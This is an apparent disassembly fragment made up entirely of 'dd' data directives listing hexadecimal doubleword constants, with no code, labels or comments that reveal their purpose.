		dd 6F980140h, 0C7D95A04h, 70C0A0FCh, 41D12080h,	0CF9760B3h
		dd 98812928h, 0E6A9605h, 9A86FAC2h, 86F10079h, 0C78549F6h
		dd 0BD0098CBh, 0A804223Fh, 89EF18h, 0A41F7C23h,	591EEB3Ah
		dd 0AA4F68F4h, 9577422h, 0B0481884h, 30160B90h,	98224A39h
		dd 25D4F473h, 0ED910C17h, 0AD842980h, 7D0EC4A9h, 0D2BDB6F3h
		dd 0D7210CB2h, 0F2B7AA09h, 2B0B0DCh, 66EBE01Ah,	0C08F36FFh
		dd 7A86E12Bh, 179530A5h, 80F39180h, 610C8D3Bh, 34F90D14h
		dd 0D0F0A49Dh, 0AE12A848h, 382016DFh, 49552380h, 0C04CA824h
		dd 3139F10h, 0DF1CD28h,	731910BEh, 0F35D8412h, 8416B21h
		dd 1403E945h, 1003E9h, 3C2081A3h, 0D432AF47h, 0B882BEF9h
		dd 6C610D7Fh, 19800CABh, 0F8FE8251h, 8FD18D1h, 9ED97A75h
		dd 0B6400AC4h, 0DD537585h, 0C00D5201h, 54508171h, 0D63E1FE0h
		dd 0C8F0CB88h, 0F885C046h, 3C03A76Fh, 597B9FA2h, 80B082E7h
		dd 0A5C3A6A8h, 0E6444A76h, 21FE0B8h, 0FA460105h, 25E81B06h
		dd 1477E054h, 9725F090h, 0BE0024A9h, 9884CCEh, 908768CAh
		dd 822B6E4Ah, 6A7BDDD8h, 85348920h, 9CF8461Ch, 8CEDBCh
		dd 0B742785Fh, 0EBDE2FCBh, 0F9C74809h, 430001FCh, 406A0B51h
		dd 0A24C0510h, 7550D184h, 74004688h, 48F75971h,	0D4C83743h
		dd 0B700FF59h, 55C6355Eh, 4B2C1B23h, 470828B5h,	80751DF4h
		dd 0A87A359Ah, 0D3019DBEh, 0B23EA1AFh, 0ABE085C7h, 33290F9Bh
		dd 2EA1F2BAh, 80A7F71Bh, 69212008h, 0B029B15Ah,	36C700B4h
		dd 66BFBD1Fh, 3B033E22h, 8FBE9C46h, 0A9F6B862h,	6A9B0A1h
		dd 2EBDE0B7h, 5E0E10AAh, 0E06373B3h, 75294606h,	43351808h
		dd 7CF99092h, 0ADFBCA0Fh, 25A247E0h, 67133C60h,	29D3125Ah
		dd 3AB08852h, 0C06EBB07h, 0C683A4B8h, 56FF866h,	9DBC249Ah
		dd 24754124h, 0C08C47F9h, 0CA2F8322h, 0DF7440C0h, 0B23E9972h
		dd 4CA97744h, 0B3C830BBh, 5CD01692h, 3ADC62EDh,	1900E994h
		dd 0B22B5085h, 0F809D9F7h, 0DA3DEE59h, 75D00DCh, 0A4D2ED03h
		dd 47E67DE6h, 0F0CD48h,	21DA9185h, 0EA4E61B2h, 64A0A0C7h
		dd 17C07ACh, 4F42C3F4h,	0B249FA65h, 9E0F00D0h, 1AF06EA1h
		dd 23EE0006h, 0DF3E3BA2h, 0E3001740h, 0D04CCCF3h, 64024Eh
		dd 77941C71h, 0F9C3A5ECh, 80DED301h, 4A51DAE6h,	1D900DFh
		dd 623755DCh, 18044FE1h, 40097745h, 0BE6A2C80h,	0E91F1E7Dh
		dd 0EC2C01DDh, 69233C0Ah, 0CFAA1744h, 7BA99891h, 95FC407Eh
		dd 49E82EC3h, 21A44B30h, 0A7CD53h, 0D396825Ch, 471CD1C7h
		dd 0A46BE203h, 0D87A4B83h, 6672Dh, 84E37326h, 13A7BEC7h
		dd 1F5A3C00h, 2CAA8B6Ah, 4E52011Dh, 4DFE3170h, 5BD1C4FDh
		dd 3532E900h, 7B68AB66h, 0F2FB0043h, 18D01E86h,	0FA002F9Dh
		dd 0AD0BDD58h, 0F1119EB0h, 0C56F1884h, 6376C126h, 1205B9Fh
		dd 0A21C3D2Bh, 5E883B0h, 1D58E8F2h, 3DC17B8h, 2650D93Ch
		dd 0F09F5DB1h, 0C5009048h, 8F84BB42h, 7E17136Fh, 0F1F82119h
		dd 45BF81CCh, 0E814098Bh, 0ECEED15Ah, 0F300A2FCh, 316D4A70h
		dd 0C40A5Eh, 0AD199D13h, 0DD02F771h, 0AC374002h, 8C9C17A9h
		dd 0AB320834h, 1E23F980h, 0F8A0D01Ah, 0C27DA3h,	6FF1B93Dh
		dd 0B27A24FBh, 9858F214h, 4AF7CE8h, 0BDDE5A86h,	0EC440710h
		dd 3DCC21h, 0B9E82795h,	0B4601F03h, 0C95AF253h,	2888991Dh
		dd 42BC2FF0h, 21B28611h, 2EA23FD3h, 42289D22h, 8DF212Bh
		dd 61942C91h, 0BB661128h, 65086B21h, 14D0BA7Ah,	171C44FFh
		dd 78732284h, 0FE206945h, 34933AA0h, 1CEB5807h,	2AA5E0C9h
		dd 0B6006D18h, 93A7F12Bh, 1D10B911h, 80B1DA53h,	447D04Eh
		dd 71000365h, 45DE662Dh, 72BD879h, 0A172E744h, 65BE50A9h
		dd 0BB00E6F2h, 0F0A56629h, 7F5397h, 647E62B1h, 0F8FEE3CFh
		dd 7B6F4C01h, 0FDEF3067h, 0D8E30431h, 0A592FAh,	0C3E0D264h
		dd 0F6F2510Ch, 0A3000D74h, 53A61F15h, 0FE4C8Ch,	0DE9B64AAh
		dd 689FB97Fh, 5F5A2D00h, 29AD604Dh, 0F1C20003h,	0F80DCC32h
		dd 0E600022Ah, 0C3BFBAFAh, 779876A1h, 8303001Ch, 0B6C87E8Ah
		dd 19F6E639h, 27071B90h, 9DDF703Bh, 996FC7D0h, 0AE053AB4h
		dd 88CE1F80h, 0A3981268h, 40227902h, 80AB1BC4h,	17A0CCA4h
		dd 9109277Ah, 0E9011ED6h, 1759097h, 1E6F3E0h, 98682EEAh
		dd 0F4A1C0CFh, 515FD607h, 0B031F0h, 5A195FF6h, 0C6362B16h
		dd 0F4E15F90h, 0E0F96B7h, 0E0E35447h, 2443081Eh, 7590E4Ch
		dd 0E6A076A3h, 16C5EAA9h, 0D3CBD10Eh, 0CC0980B0h, 1D8D203Fh
		dd 807E67D7h, 0AAB8D80Fh, 41020159h, 0A6224863h, 1D2CC062h
		dd 5A4200E2h, 0B67CA48Bh, 54008D92h, 0EBB29B36h, 0AE86F3h
		dd 0DD17DBDh, 0A4BFA219h, 0A7DC920Fh, 0FC6F04E8h, 6574A490h
		dd 536C005Dh, 1A33D583h, 62005667h, 0C711D934h,	86E6DBh
		dd 0CC16D065h, 0B1AE3B1Ch, 0B21E300h, 46E1B4C8h, 561B02A1h
		dd 7EECFE8h, 632E07Dh, 1DFA907Eh, 403BF084h, 2B673ADCh
		dd 80EB2711h, 40626990h, 0EEEE3D34h, 45E31D70h,	0BEE82633h
		dd 3BF95BAEh, 140070C9h, 8BE807C4h, 7890C91Fh, 114BD100h
		dd 8D2C94DBh, 0B6480323h, 8224363Bh, 39887BB3h,	0C200873Dh
		dd 0BF8DB528h, 32A2DA3h, 7E81C6AFh, 880F1D38h, 817540D0h
		dd 4970E3Ch, 78CC1EBh, 7FCED8h,	78720344h, 8FF81FABh, 4709B900h
		dd 0DF94C5BEh, 84C6129Ah, 0E69B00E1h, 74386671h, 0E3A42207h
		dd 4BE096C1h, 55743FEh,	0DE7D5882h, 0F2BC00A0h,	0FDA53EAAh
		dd 0B5EDB200h, 0A730B40Eh, 0EEB306EBh, 20BCF16Ch, 22009278h
		dd 8CB383Ah, 714E76h, 0CE257515h, 0F346E73h, 0F90004F6h
		dd 4FED3217h, 0BC43DDh,	9D011B79h, 1C3A8F88h, 785F9900h
		dd 40AEA12Ch, 253300B3h, 68E9A274h, 0EC09A31Ah,	80D485A7h
		dd 0F15C4958h, 0EE2B7E4Dh, 89130095h, 8F0253A5h, 2028B2BDh
		dd 55009C7Bh, 3ACC6B7Dh, 0B3FDF9h, 0C1BB8313h, 4EC04107h
		dd 0B2C1002h, 6802489Eh, 16DDD8h, 0DCA0B89Ch, 8A90A6B6h
		dd 0EDAE39h, 366D8EC1h,	0F4CE75h, 0CFA9BB10h, 0CB0DF873h
		dd 50F0B6ECh
		dd 0D294CD00h, 6C983277h, 2F8703F9h, 1E040D59h,	6AC34EE0h
		dd 0A7524D60h, 128EB653h, 6854303h, 0E8760A9Ch,	0FC5AC900h
		dd 9D0C427Bh, 6F0F00D5h, 0BC3F7137h, 9F28A14h, 78EE94Ch
		dd 351DFD70h, 0EF795700h, 0EF907C8h, 90427D9Fh,	0D6366C29h
		dd 0FAE8A150h, 3D45B201h, 9E256AF6h, 384CEF0h, 642D83E0h
		dd 92C87CF1h, 9A008AA3h, 5267B1EBh, 7061DF4h, 2D70DEA8h
		dd 13D5C065h, 0FB083F76h, 0CBCD74h, 16C14BF5h, 620E0788h
		dd 0E0A71B28h, 0E43778A1h, 563F0164h, 0DAD1ADCCh, 0D44830F8h
		dd 888FA801h, 0E059A5D6h, 13E2DBECh, 71D2352h, 0F082A2C8h
		dd 0D465E919h, 700FDE7Eh, 60A72A6Ch, 8F90F732h,	22850F0Ah
		dd 838065DBh, 92208CE1h, 0C98B1800h, 0BB93427h,	989862h
		dd 56BFA868h, 0D6E37E11h, 649A6100h, 0C72C5DFFh, 0C8890305h
		dd 676DF3A6h, 7DBAB4F8h, 0D09034F6h, 21394B00h,	0CFF6DCFFh
		dd 0F7DD00AAh, 7892BD98h, 0E23DF4BAh, 0B8E09D6Eh, 1EB4A354h
		dd 874080EEh, 0CFC290C1h, 9C9A00E9h, 0C3ADDFA1h, 8260208Eh
		dd 0FB67620h, 3B0E6h, 6C1189D0h, 0A104B502h, 0E35AA4A8h
		dd 3988C70Ah, 0E104B4D7h, 508CA557h, 28DA00A7h,	8FF5B75Dh
		dd 3B009E21h, 0A654B9FDh, 7BEB833h, 840D5F1Dh, 9C8F90D5h
		dd 98778044h, 0C6009498h, 40C58AC0h, 3BF2A005h,	0E100B8B9h
		dd 0FCF42B4Ch, 0E00E41Bh, 5B3D7ACEh, 3665D94h, 8E952124h
		dd 64D0C747h, 0FF3F4E82h, 0E07D00BFh, 0EE5A3F5Eh, 0E6EA4C28h
		dd 0FDCA0075h, 37A0EB73h, 2A0263DCh, 74926A2Ch,	7C50C0FCh
		dd 0F109854h, 0DF243C2Fh, 20A06E09h, 7FCA4951h,	1EF17641h
		dd 80449AA4h, 0FFC33CA0h, 0C404D6B3h, 0C1C9B80Ch, 46A2BE87h
		dd 0D1CE0EBh, 185B4CFDh, 2D733E01h, 0FCB28837h,	0F30B0E5Eh
		dd 263C15h, 0E462C9DFh,	20314C7Ch, 638D303h, 1A93A4E6h
		dd 0DAD2098h, 6ABB8900h, 0DA713385h, 0E0D63A43h, 76474400h
		dd 0A11AFBFCh, 2C6CD100h, 77A21798h, 3C907634h,	54871BAFh
		dd 0B06D5D15h, 19C871FBh, 0A91EA671h, 6949A4F8h, 9405014Ch
		dd 6AEC16BDh, 0C7BB0918h, 48803E80h, 9274CF56h,	1E00A071h
		dd 62B08EC2h, 69D290h, 0B8C9A51Bh, 6EF59E60h, 48BF5100h
		dd 0D781B485h, 666400A8h, 69B7847Ch, 0F54896D5h, 0EA43005Fh
		dd 982CC74h, 0DEBF00D6h, 0B4EEA288h, 0EF00B9A9h, 26ECF615h
		dd 3A8F12B5h, 6E004A84h, 61DA76E2h, 9EE24E47h, 0A4DE8600h
		dd 83D415C0h, 0F2090091h, 514941ABh, 1E0FF1E9h,	602DBED7h
		dd 0A235DF7Bh, 68A9036Eh, 0CA89E5A5h, 0F13388A0h, 0C78A7900h
		dd 0DFAA30F0h, 0EFA0995Ch, 0A62D10C0h, 0B70037FEh, 723A9115h
		dd 166DCFC5h, 16F03C31h, 665500C8h, 6EAFC0C9h, 700B378h
		dd 0ACC2A79Dh, 771B26Bh, 0D1A59ADEh, 8BC49021h,	7605DACBh
		dd 0C3C2E033h, 8ED9BA00h, 47E631h, 2482B6E3h, 68195260h
		dd 2B0C9400h, 8679B858h, 39363FE0h, 30137A03h, 27F9D3F8h
		dd 4350716Dh, 25C8A6D6h, 230E92C1h, 0A0E27810h,	6D7085C2h
		dd 0CB840315h, 0C75CC5AEh, 905AEFB0h, 980014E2h, 936B3BFh
		dd 3C26A42Ah, 0BE02EACAh, 7AF81ABBh, 0C88EC0E0h, 9D22873Eh
		dd 0E2967D71h, 0C314000h, 2E986915h, 969CF4D4h,	2798309Bh
		dd 0A0BA5952h, 3998A51Dh, 3A4BDE41h, 0ACE3B8BCh, 657BCC0h
		dd 0CC1A00DBh, 0B272B94Ah, 33F42B61h, 3F00BB78h, 0DA2C118Bh
		dd 954749h, 5F64E676h, 0B22E9B01h, 0ECD583Dh, 0C3ADF90h
		dd 2E13588Ch, 1907B17h,	0F0341470h, 1588702Eh, 20F37926h
		dd 0DAABE307h, 0E28097D4h, 19DA04Dh, 156E8E1Eh,	20DB2493h
		dd 0B1008C74h, 4CEA1A98h, 4FB88B27h, 5D5DE022h,	51F6367Ah
		dd 72380360h, 3DCACF28h, 683B2FEDh, 899570E0h, 0D008123h
		dd 0A3D8223Eh, 94173C50h, 0C8EB0068h, 198CE49Eh, 7AB0440Bh
		dd 12208048h, 0EC5574h,	0F82CE7Fh, 7570E16Ch, 655A7900h
		dd 0A7A004DEh, 5DDF03A9h, 13EF1561h, 341C4FB1h,	0DD002034h
		dd 0FD40CAC2h, 7FA529h,	19114307h, 0A8F462F9h, 0A6226A02h
		dd 41309A12h, 2BF0CEF8h, 28FA07E8h, 40C8F5E5h, 11FCEE29h
		dd 0F00CD200h, 0FFF7E770h, 36791E86h, 0CE1B00F2h, 0EACC1D12h
		dd 0DE7C3300h, 0ED1EE031h, 64201075h, 51CA00E8h, 1553F8D2h
		dd 0F4300BFh, 1DB56C4Fh, 0EE00F27Bh, 993E61B0h,	0BA4DAFA5h
		dd 0BC3C01A8h, 377A63C1h, 56EBCC6Dh, 91527304h,	88182DCh
		dd 22E4C7F5h, 68B57ABBh, 91FCCC3Ah, 9D0A1E8Dh, 2DED340h
		dd 7D9273BFh, 30E20204h, 136D1675h, 1935D082h, 9E4CCDE0h
		dd 0B9EC7050h, 0D3FB4A00h, 6EA4FFCFh, 1FBC7940h, 40316741h
		dd 20703D60h, 0F2003E3Ch, 0F0CE27CFh, 5BA4964h,	0BD11AF2Bh
		dd 0E0848766h, 62E23506h, 9E348B3Bh, 18C0F82Eh,	648AA9A0h
		dd 0BAAA01ACh, 0F0C47763h, 55B8E406h, 475A431Eh, 405944CEh
		dd 9699627h, 0DA7C004Fh, 3C12E001h, 71009CB9h, 0D9CD1ED4h
		dd 9F6ECBh, 0C310EE33h,	9E69E972h, 4209B69h, 0F4818103h
		dd 68FCAE56h, 749F4CE4h, 0DBACE101h, 0FFF0E276h, 6009A6D1h
		dd 0DD006D60h, 0D7C25839h, 0E4229362h, 0F247F4E7h, 0F6B800D0h
		dd 0BEAEF936h, 0D51407B0h, 0C0B8897Ch, 4B33E56Ch, 1FA675C9h
		dd 475D8F81h, 10D21C6Fh, 10E7BC25h, 94A96B04h, 2CC4A2D6h
		dd 6F28FCC1h, 320D7CCh,	5E7CAEA8h, 0A1A8DC33h, 2C0B064Dh
		dd 74A3F70h, 38E30DD0h,	4B8A00F9h, 8AFE7916h, 0B2009CFDh
		dd 59A85C0Fh, 118B4h, 0BBE404CAh, 3638F769h, 3565A600h
		dd 8D2C5C3Fh, 974300E7h, 0AD68FAE2h, 44005F42h,	49479B10h
		dd 7132D6h, 0C6637374h,	7E37DA8Ch, 0BA83AC16h, 51FE3B00h
		dd 7D553E1Dh, 3460014h,	0A0F16BE1h, 99007571h, 0BEBAACFAh
		dd 757AE305h, 334E8E7h,	0A3563C23h, 0A6E12A35h,	0A2BC2039h
		dd 0B60068FEh, 0A86ABCA4h, 33654BAh, 275586AAh,	24E0A1C1h
		dd 4209B9C0h, 0D7B383B5h, 817C5980h, 0D8006AB8h, 796553AFh
		dd 12D95987h, 0A7C7A3h,	0EEB536BCh, 57125FF8h, 784E0B75h
		dd 0D9EC6033h, 9AC7CB31h, 0A08F00CCh, 0C401A2BCh, 0FA009D92h
		dd 9D1DA30h, 24E6483h, 0EC8EC351h, 6C525665h, 0F8B68700h
		dd 0BF224875h, 7A51167Dh, 4CFA0055h, 6B505785h,	0A0E4F907h
		dd 0A6A01FF6h, 7EC38B5h, 2FB1EBC5h, 0FCA02E22h,	43321926h
		dd 0E214CD03h, 0E172A669h, 0C7ECE868h, 90B0C5h,	33C164D7h
		dd 7940B888h, 0DC92D62Ch, 530F1685h, 730B1980h,	0A3C900F7h
		dd 0FAE9A82Ch, 0C403281Bh, 0E425F4DEh, 0CC03D083h, 0B7D31C8Ch
		dd 217A40CBh, 0D66C0B8Fh, 5AA89400h, 7D0A6357h,	0D2E609E1h
		dd 0F78075D7h, 7B8064FDh, 278D1600h, 47D65B56h,	9B6F01A1h
		dd 0B5D5C4Ch, 0C892F09Eh, 9F7B9D05h, 8481A43Bh,	9435347Ah
		dd 1D1F14F4h, 0DE58E83Ah, 0A09B25EDh, 0D5082A00h, 270E4FAFh
		dd 3E1F00E0h, 0D42A420h, 1D0DEE3Fh, 0F0BDBF73h,	22ED0C60h
		dd 0C94D483Bh, 26690034h, 6BC1DBB0h, 2C8D012Fh,	0ACA5AF2Ah
		dd 0FCC1E629h, 0C07BF5CEh, 520083E7h, 0C80AEF7Eh, 3DB2ABCCh
		dd 801669B5h, 0D088874Bh, 0F01456D2h, 953EB81Fh, 6D63DA40h
		dd 32B0493h, 0B7A0C350h, 0B5D0F170h, 60085D7h, 0DCCA3655h
		dd 0D53D23h, 6CE24992h,	0D39E9C30h, 0E9880A00h,	58659A33h
		dd 66F90732h, 0CF8DC2ABh, 67757760h, 9AF22036h,	0EEF3D00h
		dd 8EAD732h, 13C90089h,	43656FE6h, 0C0090473h, 0E07C346Eh
		dd 191D688h, 6F810CC4h
		dd 0C4C70EADh, 8300E2DAh, 3EF26A60h, 0F8A89Ch, 82EC619Eh
		dd 34E70B5Ch, 0EF238400h, 1A7E409Dh, 21F20133h,	0C2E9BE88h
		dd 59B44030h, 24B9DBA8h, 35C91900h, 0F61804Bh, 0B2D5D9AFh
		dd 94FC4500h, 66280EC1h, 5316B9B7h, 0D833F306h,	3859F814h
		dd 54070013h, 91D1CF05h, 0D000492Ah, 0FE8660B1h, 2CA95BE1h
		dd 141D759h, 9EC56881h,	0DC1FC440h, 804A1338h, 231EB131h
		dd 0F81666h, 0E7518436h, 2F343EB3h, 46A5BD00h, 32CCACBEh
		dd 0D2D300C0h, 9972FC57h, 903EBDAh, 21FEA1Bh, 1762E8BCh
		dd 0CD5E0FC0h, 0F6425FA8h, 0BA41E7FCh, 0CF2701Fh, 0DCBFE40Fh
		dd 0FF24A3ACh, 898688CAh, 28D90275h, 0BCBBA088h, 4DF3F8E8h
		dd 0E82E5091h, 2A77ED00h, 1FC15B40h, 6436A4DEh,	0DD9B002Dh
		dd 0F128B6D0h, 0BE025890h, 89963A0Dh, 186440D1h, 0AB9C0B82h
		dd 0F8808AEBh, 67906858h, 0F8CFD8FBh, 0BDA770C0h, 2DDF7D04h
		dd 388F6437h, 0B4C76080h, 9701C671h, 0C37CE3ACh, 0CD7B037h
		dd 0B4CB9221h, 0E90C22B1h, 821089Dh, 246A4944h,	9F892000h
		dd 0EF5A900Ah, 0F253CC00h, 7F9AEA7Ah, 92F1188Dh, 0B13B607Dh
		dd 84DB2CA0h, 5D995C60h, 60FF4704h, 7FB629AEh, 7730BF40h
		dd 25B960F3h, 223700A0h, 0BB089FA1h, 0FB2A9E03h, 5A002839h
		dd 139926FFh, 833B94h, 2D018C17h, 80FE8543h, 8C011A5Eh
		dd 0C7B97EE0h, 4CDE07DCh, 0CE00813Eh, 82415EFDh, 9D005AE7h
		dd 7EDCB79h, 551A14Eh, 5C3E45B1h, 0E20F5E4h, 0ABC0AE04h
		dd 4DB4D434h, 0FF9FA312h, 0FD5884Fh, 423CA059h,	0FE7CD7A1h
		dd 0CC530028h, 0D70203Dh, 0F203764Ch, 9418BEBDh, 0A0A5E2F0h
		dd 0BAB34720h, 0CC400008h, 0BC0E434Ch, 0C4FA907Ch, 3F0899h
		dd 82C5DF10h, 3B0C427Dh, 6A805980h, 309D312Eh, 0E26090E8h
		dd 70878251h, 1D12004Fh, 13E6EBBh, 7E00BE72h, 0D7EC55E0h
		dd 9B2E5Dh, 0A53FF549h,	12A40C73h, 0A9D67A00h, 0AA11DBF7h
		dd 0F4950AB6h, 8080FE01h, 2A80374Eh, 5F303304h,	0D6E97920h
		dd 8AA60C6h, 8E12B8DBh,	0AC0A8200h, 9EF249EEh, 669100E0h
		dd 0C0ED9806h, 0FD00955Ah, 0B5EA34A6h, 187FA34Eh, 1849BED5h
		dd 0F60C683Ch, 105C8F60h, 203438A2h, 545A2863h,	7B0FFEC8h
		dd 41CB370h, 0ED0C3DE3h, 0D218A011h, 68016F6h, 40AED75Eh
		dd 0B025A33Ch, 9B3711CFh, 0AB721E65h, 0E46A04h,	9C0DE49Dh
		dd 0BAAE1498h, 1A4C227Bh, 0BD950060h, 9660F363h, 254300B9h
		dd 0ED7C065Fh, 0A0DE654Ch, 85782E82h, 5BF08523h, 134CA0h
		dd 0A0CA286Dh, 0F67461CCh, 120099FCh, 96427F94h, 4834BB80h
		dd 3C06048Ah, 701DB670h, 0B1B8DD01h, 76977D7Eh,	0E9D86080h
		dd 0BE835609h, 1AFA5C17h, 11E67007h, 0FB05430h,	37C4009Ah
		dd 50F78466h, 0D0006B35h, 3688702h, 1F617B4Bh, 315BDDh
		dd 83E016ACh, 80931C6Dh, 2812258h, 0F8570A15h, 0C8EB5CCh
		dd 3C203E09h, 0E0C111Eh, 0F839A560h, 39907D49h,	0B4993E7Fh
		dd 80A00927h, 7D21D821h, 58E486DDh, 0A90F5F40h,	0C6C3CFE8h
		dd 610BBDA5h, 10FC7DAAh, 1598990h, 0C636392Bh, 4031755Bh
		dd 344913BCh, 3C010F4Eh, 0BF534D7Dh, 0B81BA041h, 20C449A8h
		dd 0D1324F9Dh, 30F3B137h, 9B087D98h, 6497A67Fh,	303341AEh
		dd 53D0197Dh, 9F4800A8h, 1179A540h, 3F0C647Ah, 603B8120h
		dd 431B1460h, 1C50F0A2h, 0CB009FCh, 38036626h, 0E980AF98h
		dd 7C177AD5h, 104F5770h, 0C30A220Bh, 258440A3h,	0BD4929E2h
		dd 134A901Ch, 0C4073A9h, 1C86ECABh, 99A30033h, 899E088Fh
		dd 0D4B86BD4h, 79A6EA12h, 0AA8B2804h, 41AFBC88h, 9B46DC1Fh
		dd 0F36440h, 6DF712A7h,	307C39CFh, 71055505h, 1C0852A3h
		dd 469CA04Ah, 7D73170Eh, 9CAE400Ah, 3240A3C4h, 37037D0Bh
		dd 0A8BB7C3Eh, 837A8C96h, 64144Dh, 0F121E2E5h, 0E472499Fh
		dd 0F4B31E13h, 0F3DCFF8h, 0FCAD4641h, 0A459A87Dh, 0F3E56701h
		dd 84BBA37Ah, 1040B430h, 631F573h, 7C0D7293h, 7FA00630h
		dd 0C8A1ECEDh, 703FEF04h, 0B88017F0h, 249223D9h, 8030E090h
		dd 38065933h, 553F687Ch, 42F01DA4h, 845C0A12h, 77F1CEh
		dd 639AD746h, 4A73C40h,	13D084A8h, 408EF525h, 73AA2370h
		dd 38C03F81h, 72627148h, 0A04A63F1h, 0C091A73Ch, 90389712h
		dd 4A1AC20h, 226000DEh,	0D7DD7B0Ah, 89268C81h, 8F0ED082h
		dd 0A32CE0B4h, 7AFAAE4h, 0F6F497E0h, 0B0DD2312h, 7DB4F11Eh
		dd 0D6040A5Fh, 0D4912659h, 0A4F0A85Bh, 46283A2Fh, 3379788Eh
		dd 0EE697362h, 2201E061h, 5FCD00CCh, 36A3986h, 31D50072h
		dd 2FA350AFh, 0E0342D7h, 1702122Ch, 9B80243Eh, 7AE040F0h
		dd 0A75048B3h, 820ABAF0h, 0B4763659h, 0F580B691h, 87CEC77h
		dd 9224243h, 770D2001h,	3BF65241h, 190D4F0h, 0AD7D0AB3h
		dd 0F8FDAF3Dh, 5977E1B9h, 9D9CE1C0h, 0A77365h, 0BAFDD0CDh
		dd 4DFE04F5h, 93E121C3h, 0B502D865h, 40A26499h,	60AF62E3h
		dd 0D09DA7E9h, 4E222038h, 65A5E301h, 971F2FB3h,	4B9A9450h
		dd 96F4003Eh, 11CFEE05h, 0FB0307C8h, 34A7677Ah,	474D9260h
		dd 61946498h, 0AFCE896Dh, 385E8398h, 1FA3CFC3h,	0C22901FFh
		dd 68258A75h, 213031DCh, 1460C238h, 724BBEE4h, 29F180Fh
		dd 68B5C423h, 16E05984h, 4C21FBD2h, 510938E0h, 0C8F921C0h
		dd 17A25ED2h, 8ED8689h,	0D99EFE54h, 5402C0C1h, 68266359h
		dd 4165C73Ah, 0EE830088h, 15C4D55Bh, 4D86D800h,	0A437EC17h
		dd 0A17D0061h, 896651DBh, 26F2A599h, 8097FE00h,	385C1216h
		dd 0F57E07C4h, 11131E33h, 24E3071Fh, 2340CDF0h,	96A30F46h
		dd 0AA85CB4Ch, 0E4A4C80Ah, 546A7C3Ah, 48CC8F0h,	0A74A6590h
		dd 204862F5h, 965F6FCh,	0A8CE5000h, 346CAF1Fh, 451217DBh
		dd 0C4E802E5h, 0CD27F0FDh, 14E40708h, 9F45F26Ah, 0C401946Ah
		dd 84D1502h, 18FD867Fh,	5CD20439h, 329E1920h, 0E1E22064h
		dd 81A0E5D2h, 3D06BDF6h, 0AE334D72h, 0C40DA068h, 9AF8A3E2h
		dd 0E86465A7h, 606424A0h, 8EE55250h, 60048802h,	0E0AC11BEh
		dd 6E2491h, 0E7664390h,	0C9082087h, 14F094F7h, 0E82CD4C8h
		dd 0F5718C52h, 800ECE26h, 0C072DC1Dh, 46EC4E0Bh, 659A02E2h
		dd 31C5A774h, 0EC5A1736h, 9AC2E000h, 0EEF33733h, 2ADB029Bh
		dd 36D12782h, 0C5A23341h, 0CCA3C234h, 84886F59h, 0C894BB32h
		dd 8CE9D45h, 21C0A088h,	7EA93F4Fh, 0B0F35457h, 3EF00097h
		dd 0BFDF0911h, 1C029164h, 9F140CBEh, 0B9F1C04Ch, 0DC7501FDh
		dd 59EC12B8h, 0BDD18030h, 0C18F389h, 99A0A83Fh,	0D77A1612h
		dd 5F980082h, 23EDA52Eh, 3F83C094h, 0E3494A66h,	0E4994CF1h
		dd 9E35BB00h, 95A844EDh, 32D99899h, 0AB007418h,	0EAB058F3h
		dd 0F0096338h, 78682634h, 600F446Ch, 2EAF7D4Ch,	70F8067Fh
		dd 7D7C24E7h, 0D882902h, 817A89FAh, 9B2E5E48h, 0F08E8CD0h
		dd 12C9322h, 21F2D2EFh,	805833C9h, 0CED2D7F8h, 7D540B8Ah
		dd 0F802A40Fh, 380CADA8h, 0F8E05970h, 4A82B2Eh,	144E1DF9h
		dd 99222D0h, 25510B66h,	0E03AD46Eh, 720A4490h, 81E7004Fh
		dd 8BA73069h, 0E50058ACh, 0D4275C02h, 0C4CB806Ah, 2554880h
		dd 0AFFC0EF1h, 762F6180h, 0E6E88BCAh, 0C79030F3h, 6C2A6A59h
		dd 352F9701h, 63026245h, 0ECDC21E8h, 9C460693h,	908B84B3h
		dd 0D939AF00h, 0C21A442Dh, 630F005Dh, 4B5BF92h,	0D2269383h
		dd 0C43A08ADh, 0D16E0051h, 88CF1FB3h, 6A0E3D65h, 864CB572h
		dd 20E9ADh, 0D81FBBC7h
		dd 14F6AF82h, 1B217500h, 5F620199h, 0E9F10E6Eh,	0D880BAD7h
		dd 0EA147983h, 0C111777Ch, 31075D81h, 50B03226h, 0D2F567D6h
		dd 213A09CCh, 323E0091h, 0BFD80E81h, 97F25530h,	7B63080Eh
		dd 9DDE6007h, 1F6BFA8Ch, 7ABBF3F0h, 0E5138E0h, 74732A91h
		dd 5E54361Eh, 8C55C68Eh, 4D42166h, 0C57F2AD9h, 58ED8649h
		dd 1C6BEC20h, 54F322E9h, 9B8128B9h, 0A2917A2Ah,	0D202848h
		dd 0C32E00F3h, 5905B22Ah, 0AD001ADDh, 0E291DFECh, 0C06384D9h
		dd 0D74980D1h, 0FC005B57h, 3CE13110h, 5BF532Ah,	43D062CFh
		dd 5D941C17h, 3BD5CE95h, 6FE82BE0h, 50E90476h, 231FB7CCh
		dd 4C858810h, 0B32118CCh, 0B41FBF00h, 91F03ABBh, 0D9D3600Fh
		dd 86115D06h, 1032F837h, 0CD753500h, 818B0061h,	16D278E4h
		dd 48000565h, 0D66D396Fh, 0C519DDh, 0E2CBF66Bh,	9A9D0A2Ch
		dd 6706DF00h, 645457A1h, 410E145Ch, 9180C462h, 444FE451h
		dd 0A2C12064h, 0F41FB461h, 0A48CAD88h, 0BCB2002Ch, 0D9CD4F1Fh
		dd 0EA7337ACh, 197FC04h, 536B6Fh, 2154079Ch, 68398A14h
		dd 0EA189463h, 40F708E4h, 2BB7016Ah, 44D40894h,	6EE440A4h
		dd 7DFA609Ch, 72004891h, 86F3CD84h, 1609285Ch, 0E8ECE814h
		dd 1F380081h, 0BC3D625h, 8D07021Ah, 70A9D62h, 43D11420h
		dd 8051016Dh, 0F4B15FD2h, 0E3D18088h, 9E7F7A81h, 4451C3EBh
		dd 0EDA806h, 2928FE94h,	0C2008D2Dh, 0BF92362h, 600FF67Bh
		dd 72139802h, 90015E8Fh, 95D65356h, 0C883CAEDh,	1512788Ah
		dd 9664C00Ah, 2780AC05h, 0C2F9596Dh, 7D0830BFh,	363C61C9h
		dd 0BE2E9977h, 0BC000164h, 93280EFBh, 62A0C10Ch, 937B08B6h
		dd 211CBD31h, 0C7CC69C0h, 0AF5A48h, 654910A5h, 67D78EFAh
		dd 2071DC00h, 76A0B16Dh, 2681C006h, 1785CBB7h, 38A10812h
		dd 0C00A1EFAh, 0CAAA1B0Dh, 74040C91h, 0A1E83CFEh, 28B10898h
		dd 0A79C211Fh, 0B9933F68h, 5789001Fh, 38976FCCh, 5683449h
